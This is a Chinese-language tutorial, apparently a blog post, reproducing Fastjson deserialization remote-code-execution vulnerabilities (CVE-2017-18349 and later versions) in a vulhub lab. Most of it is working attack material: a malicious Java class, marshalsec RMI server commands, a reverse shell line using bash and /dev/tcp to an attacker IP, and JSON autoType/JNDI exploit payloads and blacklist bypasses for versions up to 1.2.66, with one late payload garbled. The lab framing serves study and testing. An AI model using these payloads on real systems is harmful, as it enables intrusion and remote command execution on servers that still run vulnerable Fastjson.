Fastjson漏洞复现

目录

  • 简介
  • CVE-2017-18349(Fastjson v1.2.24远程命令执行)
    • 漏洞简介
    • 漏洞环境
    • 漏洞复现
    • 编写恶意类
    • 编译并开启RMI服务
        • 反弹shell
  • Fastjson V1.2.47远程命令执行
    • 漏洞环境
      • 漏洞复现
        • 反弹shell
  • 漏洞检测
    • 有回显
    • 无回显
  • fastjson其他版本绕过
    • fastjson <= 1.2.41 漏洞
    • fastjson <= 1.2.42 漏洞
    • fastjson <= 1.2.45漏洞
    • fastjson <= 1.2.47漏洞
    • fastjson <= 1.2.62漏洞
    • fastjson <= 1.2.66漏洞

声明:本文仅供学习参考,其中涉及的一切资源均来源于网络,请勿用于任何非法行为,否则您将自行承担相应后果,本人不承担任何法律及连带责任。

简介

Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象。

大致意思是可以实现json对象与JavaBean对象的转换,实现JavaBean对象与json字符串的转换,实现json对象与json字符串的转换。

JNDI

JNDI (Java Naming and Directory Interface)是一组应用程序接口,提供了查找和访问命名和目录服务的通用、统一的接口,用于定位网络、用户、对象和服务等资源,是J2EE规范中是重要的规范之一。(可以理解为JNDI在J2EE中是一台交换机,将组件、资源、服务取了名字,再通过名字来查找)

JNDI底层支持RMI远程对象,JNDI接口可以访问和调用RMI注册过的服务。JNDI根据名字动态加载数据,支持的服务有DNS、LDAP、CORBA、RMI

RMI

RMI(Remote Method Invocation)是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法。

RMI依赖的通信协议为JRMP(Java Remote Message Protocol ,Java 远程消息交换协议),该协议为Java定制,要求服务端与客户端都为Java编写。这个协议就像HTTP协议一样,规定了客户端和服务端通信要满足的规范。在RMI中对象是通过序列化方式进行编码传输的。RMI服务端可以直接绑定远程调用的对象以外,还可通过References类来绑定一个外部的远程对象,当RMI绑定了References之后,首先会利用Referenceable.getReference()获取绑定对象的引用,并在目录中保存,当客户端使用lookup获取对应名字时,会返回ReferenceWrapper类的代理文件,然后会调用getReference()获取Reference类,最终通过factory类将Reference转换为具体的对象实例。

区别

1、反序列化常用的两种利用方式,一种是基于rmi,一种是基于ldap。
2、RMI是一种行为,指的是Java远程方法调用。
3、JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,通过名称等去找到相关的对象,并把它下载到客户端中来。
4、ldap指轻量级目录服务协议。
5、备注:基于rmi的利用方式:适用jdk版本:JDK 6u132,JDK 7u131,JDK 8u121之前; 在jdk8u122的时候,加了反序列化白名单的机制,关闭了rmi远程加载代码。 基于ldap的利用方式,适用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前。 在Java 8u191更新中,Oracle对LDAP向量设置了相同的限制,并发布了CVE-2018-3149,关闭了JNDI远程类加载。 可以看到ldap的利用范围是比rmi要大的,实战情况下推荐使用ldap方法进行利用。

漏洞原理

如果我们可以控制JNDI客户端中传入的url,就可以起一个恶意的RMI,让JNDI来加载我们的恶意类从而进行命令执行。

我们来看一下References,References类有两个属性,className和codebase url,className就是远程引用的类名,codebase决定了我们远程类的位置,当本地classpath中没有找到对应的类的时候,就会去请求codebase地址下的类(codebase支持http协议),此时如果我们将codebase地址下的类换成我们的恶意类,就能让客户端执行。

ps:在java版本大于1.8u191之后版本存在trustCodebaseURL的限制,只能信任已有的codebase地址,不再能够从指定codebase中下载字节码。

利用流程如下
1.首先开启HTTP服务器,并将我们的恶意类放在目录下
2.开启恶意RMI服务器
3.攻击者控制url参数为上一步开启的恶意RMI服务器地址
4.恶意RMI服务器返回ReferenceWrapper类
5.目标(JNDI_Client)在执行lookup操作的时候,在decodeObject中将ReferenceWrapper变成Reference类,然后远程加载并实例化我们的Factory类(即远程加载我们HTTP服务器上的恶意类),在实例化时触发静态代码片段中的恶意代码

CVE-2017-18349(Fastjson v1.2.24远程命令执行)

漏洞简介

fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

漏洞环境

靶场选择使用vulhub搭建,网址:https://github.com/vulhub/vulhub

下载vulhub,找到fastjson/1.2.24-rce目录,使用docker-compose up -d启动环境。
Fastjson漏洞复现_第1张图片
docker ps -a 查看漏洞环境启动成功
在这里插入图片描述
web访问一下
Fastjson漏洞复现_第2张图片

漏洞复现

因为目标环境是Java 8u102,没有com.sun.jndi.rmi.object.trustURLCodebase的限制,我们可以使用com.sun.rowset.JdbcRowSetImpl的利用链,借助JNDI注入来执行命令。

编写恶意类

在攻击机上编写恶意类代码 TouchFile.java

import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
 static {
     try {
         Runtime rt = Runtime.getRuntime();
         String[] commands = {"touch", "/tmp/EDI"};
         Process pc = rt.exec(commands);
         pc.waitFor();
     } catch (Exception e) {
     }
	 // do nothing
 }
}

然后javac TouchFile.java编译一下,生成TouchFile.class.
在这里插入图片描述
使用python 起一个http服务python -m SimpleHTTPServer 8888
在这里插入图片描述
web访问一下该http服务
Fastjson漏洞复现_第3张图片

编译并开启RMI服务

下载marshalsec 项目 https://github.com/mbechler/marshalsec

java8下,使用 maven 构建mvn clean package -DskipTests 生成相应jar包
Fastjson漏洞复现_第4张图片
启动RMI服务,监听9999端口,并制定远程加载类TouchFile.class
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.8.14:8888/#TouchFile" 9999
在这里插入图片描述
访问http://192.168.10.171:8090/,并通过bp抓包

Fastjson漏洞复现_第5张图片

修改请求方式为POST Content-Type改成application/json,并写入exp,然后发送请求。

exp:

{
 "b":{
 "@type":"com.sun.rowset.JdbcRowSetImpl",
 "dataSourceName":"rmi://192.168.8.14:9999/TouchFile",
 "autoCommit":true
 }
}

Fastjson漏洞复现_第6张图片

响应:
Fastjson漏洞复现_第7张图片
Fastjson漏洞复现_第8张图片
Fastjson漏洞复现_第9张图片

进入docker容器中查看已在tmp目录下创建EDI文件
Fastjson漏洞复现_第10张图片

反弹shell

既然能创建文件,那么也可以反弹shell
修改恶意类文件TouchFile.java

import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
 static {
     try {
         Runtime rt = Runtime.getRuntime();
         String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.8.14/4444 0>&1"};
         Process pc = rt.exec(commands);
         pc.waitFor();
     } catch (Exception e) {
     }
	 // do nothing
 }
}

javac编译一把

攻击机开启nc监听
在这里插入图片描述
bp重放一次,查看反弹shell成功。
Fastjson漏洞复现_第11张图片

Fastjson V1.2.47远程命令执行

该漏洞利用方法和V1.2.24版本相似,仅攻击载荷不一样而已。

fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。

漏洞环境

同样使用vulhub搭建靶场,找到fastjson/1.2.47-rce目录,并执行docker-compose up -d启动环境。

docker ps -a 查看环境启动成功
在这里插入图片描述
web访问一下
Fastjson漏洞复现_第12张图片

漏洞复现

反弹shell

编写恶意类并开启http服务传输、启动RMI服务、BP抓包,参考上面,在此不再赘述

攻击机开启nc监听
在这里插入图片描述

修改BP抓到的请求包,修改请求方式为POST Content-Type改成application/json,并写入exp,然后发送请求。

EXP:

{
  "a":{
 "@type":"java.lang.Class",
 "val":"com.sun.rowset.JdbcRowSetImpl"
 },
 "b":{
 "@type":"com.sun.rowset.JdbcRowSetImpl",
 "dataSourceName":"rmi://192.168.8.14:9999/TouchFile",
 "autoCommit":true
 }
}

Fastjson漏洞复现_第13张图片
查看反弹shell已成功
Fastjson漏洞复现_第14张图片

漏洞检测

有回显

如果站点有原始报错回显,可以用不闭合花括号的方式进行报错回显,报错中往往会有fastjson的字样

{
    "@type":"java.net.Inet4Address",
    "val":"dnslog"

Fastjson漏洞复现_第15张图片

无回显

{
	"zeo": {
		"@type": "java.net.Inet4Address",
		"val": "rv33g4.ceye.io"
	}
}

Fastjson漏洞复现_第16张图片

盲打技巧:
1.2.67版本前payload
{"zeo":{"@type":"java.net.Inet4Address","val":"fatu5k.dnslog.cn"}}

1.2.67版本后payload:
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}

fastjson其他版本绕过

fastjson <= 1.2.41 漏洞

fastjson判断类名是否以L开头、以;结尾,是的话就提取出其中的类名再加载。

exp:

{
	"@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
	"dataSourceName": "rmi://x.x.x.x:1098/jndi",
	"autoCommit": true
}

fastjson <= 1.2.42 漏洞

1.2.42 版本新增了校验机制,如果输入类名的开头和结尾是l和;就将头和尾去掉,再进行黑名单验证。
所以绕过需要在类名外部嵌套两层L;。

类名:com.sun.rowset.JdbcRowSetImpl 
绕过:LLcom.sun.rowset.JdbcRowSetImpl;;
exp:

{
	"b": {
		"@type": "LLcom.sun.rowset.JdbcRowSetImpl;;",
		"dataSourceName": "rmi://xx.x.xx.xx:9999/poc",
		"autoCommit": true
	}
}

fastjson <= 1.2.45漏洞

利用条件:
1)、目标服务端存在mybatis的jar包。
2)、版本需为 3.x.x ~ 3.5.0
3)、autoTypeSupport属性为true才能使用。(fastjson >= 1.2.25默认为false)

使用黑名单绕过,org.apache.ibatis.datasource在1.2.46版本中被加入了黑名单。

exp:

{
	"@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
	"properties": {
		"data_source": "ldap://localhost:1389/Exploit"
	}
}

fastjson <= 1.2.47漏洞

利用条件:

小于 1.2.48 版本的通杀,autoType为关闭状态也可以。

loadClass中默认cache设置为true。

首先使用java.lang.CLass把获取到的类缓存到mapping中,然后直接从缓存中获取到了com.sun.rowset.JdbcRowSetlmpl这个类,绕过黑名单机制。

exp:

{
"a": {
          "@type": "java.lang.Class",
          "val": "com.sun.rowset.JdbcRowSetImpl"
      },
      "b": {
          "@type": "com.sun.rowset.JdbcRowSetImpl",
          "dataSourceName": "rmi://x.x.x.x:1098/jndi",
          "autoCommit": true
} }

fastjson <= 1.2.62漏洞

exp:

{
	"@type": "org.apache.xbean.propertyeditor.JndiConverter",
	"AsText": "rmi://127.0.0.1:1099/exploit"
}
";

fastjson <= 1.2.66漏洞

autoTypeSupport属性为true才能使用。(fastjson >= 1.2.25默认为false)

exp:

{
	"@type": "org.apache.shiro.jndi.JndiObjectFactory",
	"resourceName": "ldap://192.168.80.1:1389/Calc"
}

{
	"@type": "br.com.anteros.dbcp.AnterosDBCPConfig",
	"metricRegistry": "ldap://192.168.80.1:1389/Calc"
} {
	"@type": "org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup",
	"jndiNames": "ldap://x.x.x.x:1389/Calc"
}

{
	"@type": "com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig",
	"properties":

	{
		"@type": "java.util.Properties",
		"UserTransacti
		on ":"
		ldap: //x.x.x.x:1389/Calc"}}

你可能感兴趣的:(漏洞复现,json)